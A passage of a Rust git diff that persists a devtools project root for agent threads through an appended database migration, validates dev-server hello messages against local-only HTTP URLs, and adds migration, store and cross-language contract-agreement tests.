+        // Connected with no root session: the agent asked for authentication, which nobody at a
+        // browser panel can give.
+        Some(Err("auth_required"))
+    } else {
+        None
+    }
+}
+
+/// Resolves once `view` is ready, has failed, has been released, or [`CONNECT_TIMEOUT`] passed.
+/// The future holds `view` weakly: a view its panel dropped is not kept connecting.
+fn when_ready(
+    view: &Entity<ConversationView>,
+    root: &Path,
+    cx: &mut App,
+) -> impl Future<Output = Result<(), DevtoolsThreadError>> + use<> {
+    let failed = {
+        let root = root.to_path_buf();
+        move |reason| DevtoolsThreadError::AgentStartFailed { root, reason }
+    };
+    let (sender, receiver) = oneshot::channel::<Result<(), &'static str>>();
+    let sender = Rc::new(RefCell::new(Some(sender)));
+    let answer = {
+        let sender = sender.clone();
+        move |outcome| {
+            if let Some(sender) = sender.borrow_mut().take() {
+                // The receiver is gone only when the waiting task was dropped: nobody to tell.
+                sender.send(outcome).ok();
+            }
+        }
+    };
+
+    let mut subscriptions = Vec::new();
+    match readiness(view.read(cx)) {
+        Some(outcome) => answer(outcome),
+        None => {
+            subscriptions.push(cx.observe(view, {
+                let answer = answer.clone();
+                move |view, cx| {
+                    if let Some(outcome) = readiness(view.read(cx)) {
+                        answer(outcome);
+                    }
+                }
+            }));
+            subscriptions.push(cx.observe_release(view, move |_, _| answer(Err("released"))));
+        }
+    }
+
+    let timer = cx.background_executor().timer(CONNECT_TIMEOUT);
+    async move {
+        let _subscriptions = subscriptions;
+        let outcome =
+            smol::future::or(async { receiver.await.unwrap_or(Err("released")) }, async {
+                timer.await;
+                Err("timeout")
+            })
+            .await;
+        outcome.map_err(failed)
+    }
+}
+
+fn log_event(level: log::Level, event: &str, root: &Path, fields: String) {
+    browser_channel::log_line(
+        level,
+        format!(
+            "devtools_threads event={event} root={} {fields}",
+            loggable_root(root)
+        ),
+    );
+}
diff --git a/crates/agent_ui/src/thread_organization.rs b/crates/agent_ui/src/thread_organization.rs
index 1cf1d4b..11b7ea1 100644
--- a/crates/agent_ui/src/thread_organization.rs
+++ b/crates/agent_ui/src/thread_organization.rs
@@ -12,6 +12,7 @@
 
 use std::collections::{BTreeMap, BTreeSet, HashMap, HashSet};
 use std::fmt;
+use std::path::{Path, PathBuf};
 use std::sync::atomic::Ordering;
 
 use anyhow::{Context as _, Result};
@@ -35,7 +36,8 @@ struct ThreadOrganizationDb(ThreadSafeConnection);
 // One `static` so the list registered with `inventory` and `MIGRATIONS` are the same allocation.
 // A plain string rather than `sql!`: the CHECK constraints need single-quoted string literals,
 // which are not Rust tokens.
-static ORGANIZATION_MIGRATIONS: [&str; 1] = ["CREATE TABLE thread_organization(
+static ORGANIZATION_MIGRATIONS: [&str; 2] = [
+    "CREATE TABLE thread_organization(
     thread_id BLOB PRIMARY KEY NOT NULL,
     pinned_position INTEGER,
     manual_position INTEGER,
@@ -64,7 +66,9 @@ CREATE TABLE tags(
 CREATE TABLE project_sort_mode(
     project_key TEXT PRIMARY KEY NOT NULL,
     mode TEXT NOT NULL CHECK (mode IN ('manual'))
-) STRICT;"];
+) STRICT;",
+    "ALTER TABLE thread_organization ADD COLUMN devtools_root TEXT;",
+];
 
 impl Domain for ThreadOrganizationDb {
     const NAME: &str = stringify!(ThreadOrganizationDb);
@@ -84,6 +88,9 @@ pub struct ThreadOrganization {
     /// The project `manual_position` belongs to, so going back to Recent finds the position even
     /// when the thread's folders changed since.
     manual_project: Option<ProjectKey>,
+    /// The project root of a devtools thread; `None` is an editor thread. Written on promotion
+    /// only, because a draft is not organized.
+    pub devtools_root: Option<PathBuf>,
 }
 
 impl ThreadOrganization {
@@ -92,6 +99,7 @@ impl ThreadOrganization {
             && self.manual_position.is_none()
             && self.list_id.is_none()
             && self.parent.is_none()
+            && self.devtools_root.is_none()
     }
 }
 
@@ -426,6 +434,16 @@ impl ThreadOrganizationStore {
         self.threads.get(&thread_id)
     }
 
+    /// Every persisted devtools mark, as `(thread, project root)` (story 055, design.md §B3).
+    pub fn devtools_roots(&self) -> impl Iterator<Item = (ThreadId, &Path)> + '_ {
+        self.threads.iter().filter_map(|(thread_id, organization)| {
+            organization
+                .devtools_root
+                .as_deref()
+                .map(|root| (*thread_id, root))
+        })
+    }
+
     pub fn pinned(&self) -> impl Iterator<Item = ThreadId> + '_ {
         let mut pinned: Vec<(u32, ThreadId)> = self
             .threads
@@ -831,6 +849,29 @@ impl ThreadOrganizationStore {
         Ok(())
     }
 
+    pub fn set_devtools_root(
+        &mut self,
+        thread_id: ThreadId,
+        root: PathBuf,
+        cx: &mut Context<Self>,
+    ) -> Result<(), OrganizeError> {
+        admit(thread_id, cx)?;
+        if self
+            .threads
+            .get(&thread_id)
+            .and_then(|organization| organization.devtools_root.as_ref())
+            == Some(&root)
+        {
+            return Ok(());
+        }
+        let mut write = DbWrite::new("set_devtools_root");
+        self.update_thread(thread_id, &mut write, |organization| {
+            organization.devtools_root = Some(root)
+        });
+        self.commit(write, cx);
+        Ok(())
+    }
+
     /// Children keep their link to a deleted parent: the requester decided sub-threads outlive it.
     fn forget_thread(&mut self, thread_id: ThreadId, cx: &mut Context<Self>) {
         let organization = self.threads.remove(&thread_id);
@@ -1108,7 +1149,8 @@ fn apply_change(connection: &db::sqlez::connection::Connection, change: Change)
                 pinned_position = NULL,
                 manual_position = NULL,
                 manual_project_key = NULL,
-                list_id = NULL
+                list_id = NULL,
+                devtools_root = NULL
             WHERE thread_id = ?
         ))?(thread_id),
         Change::UpsertThread(thread_id, organization) => connection.exec_bound::<(
@@ -1117,15 +1159,18 @@ fn apply_change(connection: &db::sqlez::connection::Connection, change: Change)
             Option<i64>,
             Option<String>,
             Option<i64>,
+            Option<String>,
         )>(sql!(
             INSERT INTO thread_organization(
-                thread_id, pinned_position, manual_position, manual_project_key, list_id
-            ) VALUES (?, ?, ?, ?, ?)
+                thread_id, pinned_position, manual_position, manual_project_key, list_id,
+                devtools_root
+            ) VALUES (?, ?, ?, ?, ?, ?)
             ON CONFLICT(thread_id) DO UPDATE SET
                 pinned_position = excluded.pinned_position,
                 manual_position = excluded.manual_position,
                 manual_project_key = excluded.manual_project_key,
-                list_id = excluded.list_id
+                list_id = excluded.list_id,
+                devtools_root = excluded.devtools_root
         ))?((
             thread_id,
             organization.pinned_position.map(i64::from),
@@ -1135,6 +1180,12 @@ fn apply_change(connection: &db::sqlez::connection::Connection, change: Change)
                 .as_ref()
                 .map(|project| project.0.to_string()),
             organization.list_id.map(|list_id| list_id.0),
+            // TEXT, not sqlez's `PathBuf` binding: that one writes a BLOB, which the STRICT
+            // column refuses. Lossy like `ProjectKey::from_group`.
+            organization
+                .devtools_root
+                .as_ref()
+                .map(|root| root.to_string_lossy().into_owned()),
         )),
         // An upsert, so the link lands whether or not the row's own upsert ran before it.
         Change::SetParent(thread_id, parent, kind) => {
@@ -1246,12 +1297,16 @@ fn load(db: &ThreadOrganizationDb) -> Result<Loaded> {
         Option<i64>,
         Option<String>,
         Option<i64>,
+        Option<String>,
     )>(sql!(
-        SELECT thread_id, pinned_position, manual_position, manual_project_key, list_id
+        SELECT thread_id, pinned_position, manual_position, manual_project_key, list_id,
+            devtools_root
         FROM thread_organization
     ))?()
     .context("reading thread_organization")?;
-    for (thread_id, pinned_position, manual_position, manual_project, list_id) in rows {
+    for (thread_id, pinned_position, manual_position, manual_project, list_id, devtools_root) in
+        rows
+    {
         loaded.threads.insert(
             thread_id,
             ThreadOrganization {
@@ -1260,6 +1315,7 @@ fn load(db: &ThreadOrganizationDb) -> Result<Loaded> {
                 list_id: list_id.map(ListId),
                 parent: None,
                 manual_project: manual_project.map(|project| ProjectKey(project.into())),
+                devtools_root: devtools_root.map(PathBuf::from),
             },
         );
     }
@@ -1348,6 +1404,10 @@ pub(crate) mod test_helpers;
 #[path = "thread_organization/migration_tests.rs"]
 mod migration;
 
+#[cfg(test)]
+#[path = "thread_organization/devtools_root_tests.rs"]
+mod devtools_root;
+
 #[cfg(test)]
 #[path = "thread_organization/normalize_tests.rs"]
 mod normalize;
diff --git a/crates/agent_ui/src/thread_organization/devtools_root_tests.rs b/crates/agent_ui/src/thread_organization/devtools_root_tests.rs
new file mode 100644
index 0000000..05d75a7
--- /dev/null
+++ b/crates/agent_ui/src/thread_organization/devtools_root_tests.rs
@@ -0,0 +1,224 @@
+// Story 055, task 10.1 — migration step 2 and the persisted devtools mark (design.md §Data
+// Models, D4, GOTCHA G8, G9). Requirements: R5.2, R5.3 (Q4, Q5). Materialize with, in
+// `src/thread_organization.rs`:
+//
+//     #[cfg(test)]
+//     #[path = "thread_organization/devtools_root_tests.rs"]
+//     mod devtools_root;
+//
+// Filter: `cargo test -p agent_ui thread_organization` (paths `thread_organization::devtools_root::…`).
+//
+// Two levels. Plain `#[test]`s over `Connection::open_memory` for the migration (the pattern of
+// story 031's `thread_organization::migration`), and `#[gpui::test]`s over the store for the
+// setter `ThreadOrganizationStore::set_devtools_root(thread_id, root, cx)` (design.md §B3), using
+// story 031's `test_helpers` (`init`, `thread`, `draft_in`, `open_db`, `open_store`, `restart`).
+// The field is `devtools_root`; its type is read through `Path::new`, so `Option<String>` and
+// `Option<PathBuf>` both satisfy the test.
+//
+// Hostile halves first:
+//   - append-only (G9): a database migrated by the PREVIOUS build (every step but the last) gets the
+//     column and keeps its rows — the case an in-place edit of step 1 silently skips; no earlier step
+//     mentions `devtools_root`;
+//   - emptiness: a row whose ONLY organization is the devtools mark is not empty (a row judged empty
+//     is deleted, which would drop the mark — R5.2), while a default row still is;
+//   - NULL is the editor thread: an existing row reads `devtools_root IS NULL` after migrating;
+//   - the setter respects the draft rule (G8): a DRAFT is refused, which is why the mark waits for
+//     promotion (D4), while a saved thread's mark survives a restart;
+//   - column-scoped in both orders: pin then mark keeps the pin, mark then pin keeps the mark.
+
+use std::path::{Path, PathBuf};
+
+use db::sqlez::{connection::Connection, domain::Domain as _};
+use gpui::{Entity, TestAppContext};
+
+use super::test_helpers::*;
+use super::{ThreadOrganization, ThreadOrganizationDb, ThreadOrganizationStore};
+use crate::thread_metadata_store::ThreadId;
+
+fn migrate(connection: &Connection, steps: &'static [&'static str]) {
+    connection
+        .migrate(ThreadOrganizationDb::NAME, steps, &mut |_, _, _| false)
+        .expect("the thread organization migrations should apply");
+}
+
+fn columns(connection: &Connection, table: &str) -> Vec<String> {
+    connection
+        .select::<String>(&format!("SELECT name FROM pragma_table_info('{table}')"))
+        .expect("pragma should prepare")()
+    .expect("pragma should run")
+}
+
+#[test]
+fn hostile_no_earlier_step_was_edited_in_place() {
+    let steps = ThreadOrganizationDb::MIGRATIONS;
+    assert!(steps.len() >= 2, "the mark is an appended step");
+    let (last, earlier) = steps.split_last().expect("steps");
+    for (i, step) in earlier.iter().enumerate() {
+        assert!(
+            !step.contains("devtools_root"),
+            "step {i} mentions devtools_root: existing databases would never get it (G9)"
+        );
+    }
+    assert!(
+        last.contains("devtools_root"),
+        "the last step adds the column"
+    );
+    assert!(
+        last.to_ascii_uppercase()
+            .contains("ALTER TABLE THREAD_ORGANIZATION ADD COLUMN"),
+        "an ALTER, not a re-created table: {last}"
+    );
+}
+
+#[test]
+fn hostile_a_database_of_the_previous_build_gets_the_column_and_keeps_its_rows() {
+    let steps = ThreadOrganizationDb::MIGRATIONS;
+    let connection = Connection::open_memory(Some("devtools_root_previous_build"));
+    migrate(&connection, &steps[..steps.len() - 1]);
+    assert!(!columns(&connection, "thread_organization").contains(&"devtools_root".to_string()));
+    let thread = ThreadId::new();
+    connection
+        .exec_bound::<ThreadId>(
+            "INSERT INTO thread_organization (thread_id, pinned_position) VALUES (?, 3)",
+        )
+        .expect("insert should prepare")(thread)
+    .expect("insert should run");
+
+    migrate(&connection, steps);
+    assert!(columns(&connection, "thread_organization").contains(&"devtools_root".to_string()));
+    let rows = connection
+        .select_bound::<ThreadId, (Option<i64>, Option<String>)>(
+            "SELECT pinned_position, devtools_root FROM thread_organization WHERE thread_id = ?",
+        )
+        .expect("select should prepare")(thread)
+    .expect("select should run");
+    assert_eq!(
+        rows,
+        vec![(Some(3), None)],
+        "the row survives as an editor thread (NULL)"
+    );
+}
+
+#[test]
+fn a_fresh_database_has_the_column_and_migrating_twice_is_harmless() {
+    let connection = Connection::open_memory(Some("devtools_root_fresh"));
+    migrate(&connection, ThreadOrganizationDb::MIGRATIONS);
+    migrate(&connection, ThreadOrganizationDb::MIGRATIONS);
+    assert!(columns(&connection, "thread_organization").contains(&"devtools_root".to_string()));
+}
+
+#[test]
+fn a_root_is_stored_and_read_back_verbatim() {
+    let connection = Connection::open_memory(Some("devtools_root_verbatim"));
+    migrate(&connection, ThreadOrganizationDb::MIGRATIONS);
+    let thread = ThreadId::new();
+    connection
+        .exec_bound::<ThreadId>(
+            "INSERT INTO thread_organization (thread_id, devtools_root) VALUES (?, '/home/dev/my app/é')",
+        )
+        .expect("insert should prepare")(thread)
+    .expect("insert should run");
+    let roots = connection
+        .select_bound::<ThreadId, Option<String>>(
+            "SELECT devtools_root FROM thread_organization WHERE thread_id = ?",
+        )
+        .expect("select should prepare")(thread)
+    .expect("select should run");
+    assert_eq!(roots, vec![Some("/home/dev/my app/é".to_string())]);
+}
+
+#[test]
+fn hostile_a_row_holding_only_the_mark_is_not_empty() {
+    let marked = ThreadOrganization {
+        devtools_root: Some("/home/dev/app".into()),
+        ..Default::default()
+    };
+    assert!(
+        !marked.is_empty(),
+        "an empty row is deleted, and the mark with it (R5.2)"
+    );
+    let root = marked
+        .devtools_root
+        .as_ref()
+        .map(|r| Path::new(r).display().to_string());
+    assert_eq!(root.as_deref(), Some("/home/dev/app"));
+    assert!(
+        ThreadOrganization::default().is_empty(),
+        "a default row is still empty"
+    );
+}
+
+// ---- the setter, over the store ------------------------------------------------------------
+
+fn root_of(
+    store: &Entity<ThreadOrganizationStore>,
+    id: ThreadId,
+    cx: &mut TestAppContext,
+) -> Option<String> {
+    store.read_with(cx, |store, _| {
+        store.organization(id).and_then(|org| {
+            org.devtools_root
+                .as_ref()
+                .map(|r| Path::new(r).display().to_string())
+        })
+    })
+}
+
+#[gpui::test]
+async fn hostile_a_draft_is_refused_while_a_saved_threads_mark_survives_a_restart(
+    cx: &mut TestAppContext,
+) {
+    init(cx);
+    let draft = draft_in("/p/app", cx);
+    let saved = thread_in("/p/app", cx);
+    let db = open_db("devtools_root_setter_restart").await;
+    let store = open_store(&db, cx);
+    store.update(cx, |store, cx| {
+        assert!(
+            store
+                .set_devtools_root(draft, PathBuf::from("/p/app"), cx)
+                .is_err(),
+            "G8: a draft is not organized; the mark waits for promotion"
+        );
+        store
+            .set_devtools_root(saved, PathBuf::from("/p/app"), cx)
+            .expect("a saved thread takes the mark");
+    });
+    assert_eq!(root_of(&store, saved, cx).as_deref(), Some("/p/app"));
+    let store = restart(store, &db, cx);
+    assert_eq!(
+        root_of(&store, saved, cx).as_deref(),
+        Some("/p/app"),
+        "R5.2: persisted"
+    );
+    assert_eq!(root_of(&store, draft, cx), None);
+}
+
+#[gpui::test]
+async fn hostile_the_mark_and_a_pin_never_overwrite_each_other(cx: &mut TestAppContext) {
+    init(cx);
+    let pinned_first = thread(cx);
+    let marked_first = thread(cx);
+    let db = open_db("devtools_root_setter_columns").await;
+    let store = open_store(&db, cx);
+    store.update(cx, |store, cx| {
+        store.pin(pinned_first, cx).expect("pin");
+        store
+            .set_devtools_root(pinned_first, PathBuf::from("/p/app"), cx)
+            .expect("mark");
+        store
+            .set_devtools_root(marked_first, PathBuf::from("/p/web"), cx)
+            .expect("mark");
+        store.pin(marked_first, cx).expect("pin");
+    });
+    let store = restart(store, &db, cx);
+    assert_eq!(root_of(&store, pinned_first, cx).as_deref(), Some("/p/app"));
+    assert_eq!(root_of(&store, marked_first, cx).as_deref(), Some("/p/web"));
+    let pins = store.read_with(cx, |store, _| {
+        (
+            store.pinned_position(pinned_first).is_some(),
+            store.pinned_position(marked_first).is_some(),
+        )
+    });
+    assert_eq!(pins, (true, true), "both pins survived the marks");
+}
diff --git a/crates/devtools_bridge/src/channel.rs b/crates/devtools_bridge/src/channel.rs
index ad274ef..205e571 100644
--- a/crates/devtools_bridge/src/channel.rs
+++ b/crates/devtools_bridge/src/channel.rs
@@ -39,6 +39,13 @@ pub const MAX_SELECTOR_CHARS: usize = 512;
 pub const MAX_IMAGE_EDGE: u32 = protocol::SCREENSHOT_MAX_EDGE;
 /// Decoded bytes.
 pub const MAX_IMAGE_BYTES: usize = protocol::SCREENSHOT_MAX_BYTES;
+/// A dev-server or panel `root`, in UTF-8 bytes.
+pub const MAX_ROOT_BYTES: usize = 4096;
+/// A dev server's `app_url` and `panel_url`, in UTF-8 bytes.
+pub const MAX_LOCAL_URL_BYTES: usize = 2048;
+/// The hosts a dev server's URLs may name, compared ASCII-case-insensitively as a URL parser
+/// lowercases them.
+const LOCAL_URL_HOSTS: [&str; 3] = ["localhost", "127.0.0.1", "[::1]"];
 /// A network entry's HTTP status, when it has one.
 pub const NETWORK_STATUS_RANGE: std::ops::RangeInclusive<i64> = 100..=599;
 
@@ -101,6 +108,7 @@ pub fn parse_client(line: &[u8]) -> Result<ClientMsg, ChannelError> {
     let msg = match kind.as_str() {
         "hello" => {
             let wire: WireHello = read_fields(line)?;
+            check_client(&wire.client)?;
             ClientMsg::Hello {
                 v: wire.v,
                 id: wire.id,
@@ -146,6 +154,13 @@ pub fn parse_client(line: &[u8]) -> Result<ClientMsg, ChannelError> {
                 id: wire.id,
             }
         }
+        "create_thread" => {
+            let wire: WireRequest = read_fields(line)?;
+            ClientMsg::CreateThread {
+                v: wire.v,
+                id: wire.id,
+            }
+        }
         _ => return Err(ChannelError::UnknownKind),
     };
     require(
@@ -262,7 +277,7 @@ struct WireHello {
     client: ClientInfo,
 }
 
-/// `list_threads`, `cancel` and `open_in_zeo`.
+/// `list_threads`, `cancel`, `open_in_zeo` and `create_thread`.
 #[derive(Deserialize)]
 #[serde(deny_unknown_fields)]
 struct WireRequest {
@@ -467,6 +482,78 @@ impl<'de> serde::de::Visitor<'de> for KindProbeVisitor {
     }
 }
 
+// ---------------------------------------------------------------------------------------------
+// `hello` validation (story 055, design.md §Wire additions)
+
+/// The limits of a dev-server or panel identity; an extension's has none beyond its shape. A
+/// refusal is a `bad_request`: non-fatal for a hello inside an open session (R9.3), while a
+/// session's first line that fails is refused like any malformed first line.
+fn check_client(client: &ClientInfo) -> Result<(), ChannelError> {
+    match client {
+        ClientInfo::Extension(_) => Ok(()),
+        ClientInfo::DevServer {
+            root,
+            app_url,
+            panel_url,
+        } => {
+            check_root(root)?;
+            require(
+                is_local_http_url(app_url),
+                "app_url is http:// on localhost, 127.0.0.1 or [::1] with a port, \
+                 no userinfo, query or fragment, <= 2048 bytes",
+            )?;
+            require(
+                is_local_http_url(panel_url),
+                "panel_url is http:// on localhost, 127.0.0.1 or [::1] with a port, \
+                 no userinfo, query or fragment, <= 2048 bytes",
+            )
+        }
+        ClientInfo::Panel { root } => check_root(root),
+    }
+}
+
+fn check_root(root: &str) -> Result<(), ChannelError> {
+    require(
+        root.starts_with('/') && root.len() <= MAX_ROOT_BYTES,
+        "root is an absolute path <= 4096 bytes",
+    )
+}
+
+/// `http://<host>:<port>` followed by an empty path or one starting with `/`, where the host is
+/// one of [`LOCAL_URL_HOSTS`]. Any path is allowed (Vite's `base`); userinfo, a query and a
+/// fragment are not, and neither is a byte a URL parser would strip or rewrite (a control
+/// character, a space, a backslash), so what is checked is what a browser will load.
+fn is_local_http_url(url: &str) -> bool {
+    const SCHEME: &str = "http://";
+    if url.len() > MAX_LOCAL_URL_BYTES
+        || url
+            .bytes()
+            .any(|byte| byte.is_ascii_control() || matches!(byte, b' ' | b'\\' | b'?' | b'#'))
+    {
+        return false;
+    }
+    let Some((scheme, rest)) = url.split_at_checked(SCHEME.len()) else {
+        return false;
+    };
+    if !scheme.eq_ignore_ascii_case(SCHEME) {
+        return false;
+    }
+    let authority = rest
+        .split_once('/')
+        .map_or(rest, |(authority, _)| authority);
+    // Userinfo (`user@`, `user:pass@`) stays in what is compared as the host, so it never matches.
+    let Some((host, port)) = authority.rsplit_once(':') else {
+        return false;
+    };
+    // Digits only, as `u16::from_str` would also take a leading `+`; an empty port fails to parse.
+    let explicit_port = port.bytes().all(|byte| byte.is_ascii_digit())
+        && port.parse::<u16>().is_ok_and(|port| port != 0);
+    explicit_port
+        && LOCAL_URL_HOSTS
+            .iter()
+            .any(|local| host.eq_ignore_ascii_case(local))
+}
+
 // ---------------------------------------------------------------------------------------------
 // `send` validation (design.md §Validation rules, R12.5)
 
diff --git a/crates/devtools_bridge/src/devtools_bridge.rs b/crates/devtools_bridge/src/devtools_bridge.rs
index c4b83ab..fb6d440 100644
--- a/crates/devtools_bridge/src/devtools_bridge.rs
+++ b/crates/devtools_bridge/src/devtools_bridge.rs
@@ -137,8 +137,12 @@ mod channel_tests;
 #[cfg(test)]
 mod contract_agreement_tests;
 #[cfg(test)]
+mod devtools_v2_contract_agreement_tests;
+#[cfg(test)]
 mod listener_tests;
 #[cfg(test)]
+mod panel_channel_tests;
+#[cfg(test)]
 mod protocol_tests;
 #[cfg(test)]
 mod session_tests;
diff --git a/crates/devtools_bridge/src/devtools_v2_contract_agreement_tests.rs b/crates/devtools_bridge/src/devtools_v2_contract_agreement_tests.rs
new file mode 100644
index 0000000..f974e5b
--- /dev/null
+++ b/crates/devtools_bridge/src/devtools_v2_contract_agreement_tests.rs
@@ -0,0 +1,317 @@
+// Story 055, task 16.1 (Rust half) — `channel.rs` gives every shared devtools-panel v2 fixture the
+// verdict zod gives it (zeo-devtools `test/contract-v2.test.ts`, task 2.1). Requirements: R2.1,
+// R5.1, R9.3 (Q14). Wired in `src/devtools_bridge.rs` as
+//
+//     #[cfg(test)]
+//     mod devtools_v2_contract_agreement_tests;
+//
+// Validation: `ZEO_DEVTOOLS_V2_CONTRACT_DIR=<abs>/zeo-devtools/test/contract/v2 cargo test -p
+// devtools_bridge contract_agreement`. The same filter also runs 045's
+// `browser_contract_agreement` (set `ZEO_BROWSER_CONTRACT_DIR` too), which is how "045's fixtures
+// still pass" is proved. Unset, each test here prints SKIPPED and returns; a set variable over a
+// missing or empty directory FAILS. Fixtures are never copied into the Zed tree.
+//
+// Fixture convention (shared with the vitest half): `client|server/{valid,invalid}/*.json`;
+// invalid files carry a top-level `"$expect"` (a ChannelError code), stripped first.
+// Scope: client fixtures get the full verdict and code (Zeo validates them). Server fixtures are
+// Zeo's OUTPUT: each valid one must deserialize and re-encode byte-equal as JSON; refusing invalid
+// server messages is the plugin's job (the vitest half).
+//
+// Hostile half: an invalid fixture that Rust ACCEPTS is a mismatch exactly like a valid one it
+// refuses — both directions are checked, and coverage of every new kind and code is required, so
+// a fixture set that silently lost the dev_server hello cannot pass.
+//
+// Refine v2 (2026-10-15), GOTCHA G14: WHATWG `URL` and Rust's rule disagree on an empty `?`, an
+// empty `#`, port 0, a tab, a backslash (refused by Rust) and an explicit `:80` (accepted). Each of
+// the five refused inputs must appear in its OWN invalid dev_server hello — a fixture carrying two
+// of them cannot tell which rule refused it — and get `bad_request` from Rust as its `$expect`
+// says; an explicit `:80` must appear in a valid one and be accepted. A fixture set that dropped
+// any of them, or a zod rule built on `new URL(...)`, fails here.
+
+use std::fs;
+use std::path::{Path, PathBuf};
+
+use serde_json::Value;
+
+use crate::channel::{ChannelError, ServerMsg, encode_server, parse_client};
+
+const ENV: &str = "ZEO_DEVTOOLS_V2_CONTRACT_DIR";
+
+fn contract_dir(test: &str) -> Option<PathBuf> {
+    match std::env::var_os(ENV) {
+        Some(dir) => Some(PathBuf::from(dir)),
+        None => {
+            eprintln!("SKIPPED {test}: {ENV} is unset; point it at zeo-devtools/test/contract/v2");
+            None
+        }
+    }
+}
+
+fn fixtures(dir: &Path) -> Vec<(PathBuf, Value, Option<String>)> {
+    let mut files: Vec<PathBuf> = fs::read_dir(dir)
+        .unwrap_or_else(|error| panic!("{} is readable: {error}", dir.display()))
+        .filter_map(|entry| entry.ok().map(|entry| entry.path()))
+        .filter(|path| path.extension().is_some_and(|ext| ext == "json"))
+        .collect();
+    files.sort();
+    assert!(
+        !files.is_empty(),
+        "{} holds no fixture: a set variable never passes on nothing",
+        dir.display()
+    );
+    files
+        .into_iter()
+        .map(|file| {
+            let text = fs::read_to_string(&file).expect("readable");
+            let mut value: Value =
+                serde_json::from_str(&text).unwrap_or_else(|e| panic!("{}: {e}", file.display()));
+            let expect = value
+                .as_object_mut()
+                .and_then(|object| object.remove("$expect"))
+                .and_then(|value| value.as_str().map(str::to_string));
+            (file, value, expect)
+        })
+        .collect()
+}
+
+fn code(error: &ChannelError) -> String {
+    match serde_json::to_value(error) {
+        Ok(Value::String(code)) => code,
+        other => panic!("ChannelError serializes to its code, got {other:?}"),
+    }
+}
+
+fn client_verdict(value: &Value) -> String {
+    let line = serde_json::to_vec(value).expect("json");
+    match parse_client(&line) {
+        Err(error) => code(&error),
+        Ok(_) => "accepted".to_string(),
+    }
+}
+
+#[test]
+fn contract_agreement_v2_client_valid_fixtures_are_accepted() {
+    let Some(dir) = contract_dir("contract_agreement_v2_client_valid_fixtures_are_accepted") else {
+        return;
+    };
+    let mut mismatches = Vec::new();
+    let all = fixtures(&dir.join("client/valid"));
+    for (file, value, _) in &all {
+        let verdict = client_verdict(value);
+        if verdict != "accepted" {
+            mismatches.push(format!(
+                "{}: zod accepts, Rust says {verdict}",
+                file.display()
+            ));
+        }
+    }
+    assert!(mismatches.is_empty(), "{}", mismatches.join("\n"));
+    let client_kinds: Vec<String> = all
+        .iter()
+        .filter(|(_, v, _)| v["kind"] == "hello")
+        .filter_map(|(_, v, _)| v["client"]["kind"].as_str().map(str::to_string))
+        .collect();
+    for kind in ["dev_server", "panel"] {
+        assert!(
+            client_kinds.iter().any(|k| k == kind),
+            "no valid hello with client kind {kind}"
+        );
+    }
+    assert!(
+        all.iter().any(|(_, v, _)| v["kind"] == "create_thread"),
+        "no valid create_thread"
+    );
+    // The amended URL rule on the wire: a Vite base path is valid.
+    assert!(
+        all.iter()
+            .any(|(_, v, _)| v["client"]["kind"] == "dev_server"
+                && v["client"]["app_url"]
+                    .as_str()
+                    .is_some_and(|u| u.splitn(4, '/').nth(3).is_some_and(|path| !path.is_empty()))),
+        "no valid dev_server hello whose app_url carries a base path"
+    );
+}
+
+#[test]
+fn contract_agreement_v2_client_invalid_fixtures_get_their_expected_code() {
+    let Some(dir) =
+        contract_dir("contract_agreement_v2_client_invalid_fixtures_get_their_expected_code")
+    else {
+        return;
+    };
+    let mut mismatches = Vec::new();
+    for (file, value, expect) in fixtures(&dir.join("client/invalid")) {
+        let expect = expect.unwrap_or_else(|| panic!("{} has no \"$expect\"", file.display()));
+        let verdict = client_verdict(&value);
+        if verdict != expect {
+            mismatches.push(format!(
+                "{}: expected {expect}, Rust says {verdict}",
+                file.display()
+            ));
+        }
+    }
+    assert!(mismatches.is_empty(), "{}", mismatches.join("\n"));
+}
+
+#[test]
+fn contract_agreement_v2_server_valid_fixtures_round_trip_and_cover_every_new_kind() {
+    let Some(dir) = contract_dir(
+        "contract_agreement_v2_server_valid_fixtures_round_trip_and_cover_every_new_kind",
+    ) else {
+        return;
+    };
+    let all = fixtures(&dir.join("server/valid"));
+    for (file, value, _) in &all {
+        let msg: ServerMsg = serde_json::from_value(value.clone())
+            .unwrap_or_else(|e| panic!("{}: Rust cannot read it: {e}", file.display()));
+        let line = encode_server(&msg)
+            .unwrap_or_else(|e| panic!("{}: Rust cannot write it: {e:?}", file.display()));
+        let back: Value = serde_json::from_str(line.trim_end()).expect("json line");
+        assert_eq!(&back, value, "{} round-trips", file.display());
+    }
+    for kind in ["created", "project_open", "project_closed"] {
+        assert!(
+            all.iter().any(|(_, v, _)| v["kind"] == kind),
+            "no valid server fixture of kind {kind}"
+        );
+    }
+    for error in ["not_found", "project_closed", "agent_start_failed"] {
+        assert!(
+            all.iter()
+                .any(|(_, v, _)| v["kind"] == "error" && v["error"] == error),
+            "no valid error fixture with code {error}"
+        );
+    }
+}
+
+// ---------------------------------------------------------------------------------------------
+// Refine v2 (2026-10-15): the G14 URL fixtures appear and agree.
+
+/// The `app_url` and `panel_url` of a dev_server hello; empty for any other message.
+fn dev_server_urls(value: &Value) -> Vec<&str> {
+    if value["kind"] != "hello" || value["client"]["kind"] != "dev_server" {
+        return Vec::new();
+    }
+    ["app_url", "panel_url"]
+        .into_iter()
+        .filter_map(|key| value["client"][key].as_str())
+        .collect()
+}
+
+/// The port written in `url`'s authority, if any: the text after the last `:` before the path.
+fn written_port(url: &str) -> Option<&str> {
+    let rest = url.get("http://".len()..)?;
+    let authority = rest.split('/').next()?;
+    authority.rsplit_once(':').map(|(_, port)| port)
+}
+
+fn has_empty_query(url: &str) -> bool {
+    url.find('?')
+        .is_some_and(|at| matches!(url[at + 1..].chars().next(), None | Some('#')))
+}
+
+/// The five inputs Rust refuses and `new URL(...)` accepts or rewrites.
+const G14_REFUSED: [(&str, fn(&str) -> bool); 5] = [
+    ("an empty `?`", has_empty_query),
+    ("an empty `#`", |url| url.ends_with('#')),
+    ("port 0", |url| {
+        written_port(url).is_some_and(|port| !port.is_empty() && port.bytes().all(|b| b == b'0'))
+    }),
+    ("a tab", |url| url.contains('\t')),
+    ("a backslash", |url| url.contains('\\')),
+];
+
+#[test]
+fn contract_agreement_v2_g14_url_fixtures_appear_and_agree() {
+    let Some(dir) = contract_dir("contract_agreement_v2_g14_url_fixtures_appear_and_agree") else {
+        return;
+    };
+    let invalid = fixtures(&dir.join("client/invalid"));
+    let mut problems = Vec::new();
+    for (what, _) in G14_REFUSED {
+        // Hostile half: only a fixture carrying THIS input and none of the other four isolates it.
+        let isolated: Vec<_> = invalid
+            .iter()
+            .filter(|(_, value, _)| {
+                let urls = dev_server_urls(value);
